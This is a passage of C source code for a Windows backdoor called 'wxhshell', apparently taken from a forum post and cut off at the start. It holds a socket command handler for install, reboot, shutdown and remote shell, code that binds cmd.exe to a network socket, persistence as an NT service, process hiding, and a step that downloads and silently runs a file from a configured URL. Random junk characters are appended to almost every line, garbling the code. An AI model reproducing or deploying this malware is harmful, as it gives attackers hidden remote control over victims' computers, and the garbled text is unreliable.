  else { ^ +@OiL>&i  
)1Y?S;  
    switch(cmd[0]) { -Q JPJ.  
  @n.n[zb\|  
  // 帮助 {I $iD  
  case '?': { ` V [4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jn(!6\n"  
    break; |&W4Dk n  
  } Y_jc*S  
  // 安装 _Z9 d.-  
  case 'i': { j3`YaWw  
    if(Install()) >JsVIfAF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FJCORa@?_  
    else ?a% F3B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9s[   
    break; ISFNP&& K  
    } =SeQ- H#  
  // 卸载 vWM&4|Q1~  
  case 'r': { QKts-b[3  
    if(Uninstall()) jN*wbqL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /!?Tv8TPp  
    else &S 66M2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lMu-,Z="  
    break; kBrA ?   
    } )[ZXPD  
  // 显示 wxhshell 所在路径 -=gI_wLbM  
  case 'p': { ]a&riPh"  
    char svExeFile[MAX_PATH]; 9@q!~ur  
    strcpy(svExeFile,"\n\r"); W'"?5} (  
      strcat(svExeFile,ExeFile); nw`rH*  
        send(wsh,svExeFile,strlen(svExeFile),0); oA~0"}eS  
    break; 6Y,&q|K  
    } 26k~Z}  
  // 重启 G/# <d-}_  
  case 'b': { (GL'm[V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F {L#  
    if(Boot(REBOOT)) q. Jx|x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u t4:LHF  
    else { cl]W]^q-Cx  
    closesocket(wsh); !> +Lre@  
    ExitThread(0); X o9vE3  
    } cQThpgha  
    break; Q$]1juqg  
    } /|UbYe,  
  // 关机 =1R 2`H\  
  case 'd': { dz/fSA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pp69|lxV=k  
    if(Boot(SHUTDOWN)) I{U|'a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bf2n%-&9g  
    else {  ?f'`b<o  
    closesocket(wsh); .6 0yQ[aE  
    ExitThread(0); SC2LY  
    } i>CR{q  
    break; R_GA`U\ {  
    } *dBmb  
  // 获取shell y&8`NS#_p?  
  case 's': { hslT49m>  
    CmdShell(wsh); r1RM7y  
    closesocket(wsh); Ph.RWy")  
    ExitThread(0); dQ-g\]d|  
    break; +N+117m  
  } AT3HH QD  
  // 退出 OiZ-y7;k^  
  case 'x': { S\t!7Xs%*U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7zE1>.  
    CloseIt(wsh); k$J!,!q  
    break; )AdwA+-x  
    } Yqo@ g2g  
  // 离开 Xg_l4!T_l  
  case 'q': { G^SJhdO(Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gjnEN1T22  
    closesocket(wsh); ZK'WKC  
    WSACleanup(); _<c}iZv@  
    exit(1); +/mCYI  
    break; MzKl=G  
        } Tw` dLK?  
  } &vN!>bR  
  } j^U"GprA  
8 E l hcs  
  // 提示信息 Da6l =M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b{-|q6  
} a#CjGj)  
  } ?g@X+!RB  
bv hV  
  return; ttlMZLX{TJ  
} 3?_%|;ga  
N;!!*3a9=  
// shell模块句柄 a;~< iB;3"  
int CmdShell(SOCKET sock) mOTA  
{ 4u41M,nJQd  
STARTUPINFO si; 7u :kR;wk  
ZeroMemory(&si,sizeof(si)); 7o!t/WEEq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +tg${3ti_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :h3U^  
PROCESS_INFORMATION ProcessInfo; p g_H'0R  
char cmdline[]="cmd"; e(b$LUV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YG0b*QBY~  
  return 0; 6jm/y@|F!  
} 7z/O#Fbs  
/!p}H'jl  
// 自身启动模式 |_+l D|'  
int StartFromService(void) 9}fez)m:g0  
{ b^}U^2S%  
typedef struct P39oHW  
{ j:2 F97  
  DWORD ExitStatus; '`W6U]7>  
  DWORD PebBaseAddress; U^)`_\/;?  
  DWORD AffinityMask; >+!Ef  
  DWORD BasePriority; aZtM _  
  ULONG UniqueProcessId; 01RW|rN  
  ULONG InheritedFromUniqueProcessId; m$pRA0s2`  
}   PROCESS_BASIC_INFORMATION; 2<w vO 9  
Co=Bq{GY  
PROCNTQSIP NtQueryInformationProcess; U. $Th_  
S>j.i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m] -cRf)9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #ZnNJ\6  
n:1Ijh 1  
  HANDLE             hProcess; D$NpyF.87  
  PROCESS_BASIC_INFORMATION pbi; "oF)u1_?  
Ra H1aS(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MtoOIkQ  
  if(NULL == hInst ) return 0; NN5Ejr,  
1_Av_X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iY&I?o!Ch  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^kz(/c/?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q#K10*-O6  
[/n@BK  
  if (!NtQueryInformationProcess) return 0; `QW=<Le?  
WNQ<XB qAw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A&WC})H5  
  if(!hProcess) return 0; a1_o  
\ a(ce?C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iy]?j$B$  
+PKsiUJ|  
  CloseHandle(hProcess); MPw?HpM  
``6-   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 've[Mx  
if(hProcess==NULL) return 0; u3pFH(  
;_E|I=%'E  
HMODULE hMod; OIjSH~a.  
char procName[255]; $ b53~  
unsigned long cbNeeded; d~{$,"!-f  
rzLW @k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kY{$[+-jR  
lmL$0{Yr  
  CloseHandle(hProcess); qc\D=3 #Yp  
Qh-:P`CN  
if(strstr(procName,"services")) return 1; // 以服务启动 Zzz94`  
K4YD}[  
  return 0; // 注册表启动 K{"hf:k  
} g%!U7CM6h  
CgYX^h?Y9  
// 主模块 `+>K)5hrR  
int StartWxhshell(LPSTR lpCmdLine) ^w<aS w  
{ ;DR5?N/a  
  SOCKET wsl; mw;4/ /R  
BOOL val=TRUE; uN>5Eh&=Pf  
  int port=0; |\G^:V[.  
  struct sockaddr_in door; (j??  
a'dlA da  
  if(wscfg.ws_autoins) Install(); BzO,(bd!PI  
/7:+.#Ag`  
port=atoi(lpCmdLine);  P Je_qP  
iR88L&U>  
if(port<=0) port=wscfg.ws_port; ;e/F( J  
Q9xb7)G  
  WSADATA data; $uyx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nhjT2Sl  
ci$J?a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $/;K<*O$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xdM'v{N#m  
  door.sin_family = AF_INET; 6l;2kztGp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yGAFQ|+  
  door.sin_port = htons(port); dr:x0>  
fi`\e W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s8>y&b.  
closesocket(wsl); 7*K UM6z  
return 1; rqqd} kA  
} 2Ki_d  
~"SQwE|  
  if(listen(wsl,2) == INVALID_SOCKET) { <<A#4!f  
closesocket(wsl); ~~-VScG&  
return 1; -bHlFNRm  
} /o'lGvw  
  Wxhshell(wsl); HdB>CVuh  
  WSACleanup(); *URT-+'  
'o#oRK{#  
return 0; -mG`* 0  
/[\g8U{5B}  
} PE4 L7  
BO G.[?yx  
// 以NT服务方式启动 K3[+L`pz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $m2#oI 'D  
{ "IT7.!=@9  
DWORD   status = 0; 2*z~ 'i  
  DWORD   specificError = 0xfffffff; 6{1=3.CL  
:e;6oC*"q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eDZ8F^0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0h*Le  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PD.$a-t  
  serviceStatus.dwWin32ExitCode     = 0; 4hwb] Yz  
  serviceStatus.dwServiceSpecificExitCode = 0; Qa )+Tv  
  serviceStatus.dwCheckPoint       = 0; )c' 45 bD  
  serviceStatus.dwWaitHint       = 0; @GQfBV|3  
DMG~56cTO,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :!oJmvy  
  if (hServiceStatusHandle==0) return; goIv m:?  
K%\r[NF  
status = GetLastError(); 4F#H$`:[  
  if (status!=NO_ERROR) TsK!36cg  
{ :)lG}c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .F 6US<]  
    serviceStatus.dwCheckPoint       = 0; Nbd4>M<  
    serviceStatus.dwWaitHint       = 0; [StnKQ?"wz  
    serviceStatus.dwWin32ExitCode     = status; v7 *L3Ol  
    serviceStatus.dwServiceSpecificExitCode = specificError; F8?2+w@P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c.IUqin  
    return; {f #QZS!E  
  } *O~y6|U?  
4@{c K|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E.Xp\Dm71  
  serviceStatus.dwCheckPoint       = 0; )tI^2p{  
  serviceStatus.dwWaitHint       = 0; ))|d~m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,Zn6T"[$  
} t[`LG)  
]|CcQ1#|H  
// 处理NT服务事件,比如:启动、停止 7! >0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) . f ja;aG  
{ M\m:H3[  
switch(fdwControl) z1Ieva]  
{ eavn.I8J  
case SERVICE_CONTROL_STOP: l!x+K&  
  serviceStatus.dwWin32ExitCode = 0; HXKM<E{j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; , yltt+ e  
  serviceStatus.dwCheckPoint   = 0; aKriO  
  serviceStatus.dwWaitHint     = 0; paIjXaU1Mb  
  { 3O2G+G2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ps,U  
  } O] PM L`  
  return; >SDQ@63E?  
case SERVICE_CONTROL_PAUSE: 9Y.(xp &vw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7?whxi Qs  
  break; u?`{s88_mF  
case SERVICE_CONTROL_CONTINUE: $vu*# .w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A,_O=hA2I  
  break; + kKanm[!v  
case SERVICE_CONTROL_INTERROGATE: ?A|JKOst]  
  break; NF8<9  
}; 1- s(v)cxh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .b]s Q'  
} gvR]"h  
Nf )YG!  
// 标准应用程序主函数 ^_ch%3}Im  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !ddyJJ^a  
{ N4ZV+ |  
X+]>pA  
// 获取操作系统版本 &K0b3AWc  
OsIsNt=GetOsVer(); 3Qe|'E,U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @G2# Z  
Np+PUu>  
  // 从命令行安装 Mm@G{J\\  
  if(strpbrk(lpCmdLine,"iI")) Install(); [o<hQ`&  
\+V"JIStUj  
  // 下载执行文件 8+[Vo_]  
if(wscfg.ws_downexe) { eI$ V2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =Mx"+/Yo*  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hnt*,C.0  
} B$2b =\  
:u,.(INB  
if(!OsIsNt) { 7zH2dqrj  
// 如果时win9x,隐藏进程并且设置为注册表启动 7{}E{/  
HideProc(); o>8~rtl  
StartWxhshell(lpCmdLine); 9\.0v{&v  
} YjDQ`f/  
else Ge`7`D>L  
  if(StartFromService()) l }/_(*  
  // 以服务方式启动 !=:>yWQ  
  StartServiceCtrlDispatcher(DispatchTable); M]PZwW8  
else 1k6asz^T  
  // 普通方式启动 1]:,Xa+|S  
  StartWxhshell(lpCmdLine); o08g]a  
;F258/J  
return 0; 7=Muq]j2  
}
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只看该作者 1 发表于: 2006-10-10
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